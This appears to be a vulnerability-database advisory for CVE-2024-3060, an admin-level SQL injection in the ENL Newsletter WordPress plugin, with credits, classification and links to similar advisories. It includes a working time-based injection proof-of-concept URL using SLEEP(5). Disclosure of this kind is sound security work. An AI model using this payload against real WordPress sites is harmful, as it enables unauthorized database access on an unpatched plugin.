ENL Newsletter <= 1.0.1 – Admin+ SQL Injection | CVE 2024-3060

Description

The plugin does not sanitize and escape a parameter before using it in a SQL statement, allowing admin+ to perform SQL injection attacks

Proof of Concept

As an admin open a link like:

http://example.com/wp-admin/admin.php?page=enl-campaigns&action=campaign-run&id=1%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))nQIP)

There will be a delay indicating that the injection has succeeded.

Affects Plugins

enl-newsletter

No known fix

References

CVE

CVE-2024-3060

Classification

Type

SQLI

OWASP top 10

A1: Injection

CWE

CWE-89

CVSS

4.1 (medium)

Miscellaneous

Original Researcher

Bob Matyas

Submitter

Bob Matyas

Submitter website

https://www.bobmatyas.com

Submitter twitter

bobmatyas

Verified

Yes

WPVDB ID

7740646d-f3ea-4fc7-b35e-8b4a6821e178

Timeline

Publicly Published

2024-04-05 (about 1 year ago)

Added

2024-04-05 (about 1 year ago)

Last Updated

2024-04-05 (about 1 year ago)

Other

Published

Title

Published

2024-03-26

Title

Photos and Files Contest Gallery < 21.3.2.1 - Authenticated (Contributor+) SQL Injection

Published

2016-11-10

Title

FireStorm Shopping Cart eCommerce Plugin 2.07.02 - Authenticated SQL Injection

Published

2015-08-20

Title

Master Slider < 2.5.2 - Authenticated Blind SQL Injection

Published

2021-11-15

Title

Mediamatic < 2.8.1 - Subscriber+ SQL Injection

Published

2023-06-08

Title

WP EasyCart < 5.4.11 - Administrator+ Time-based SQL Injection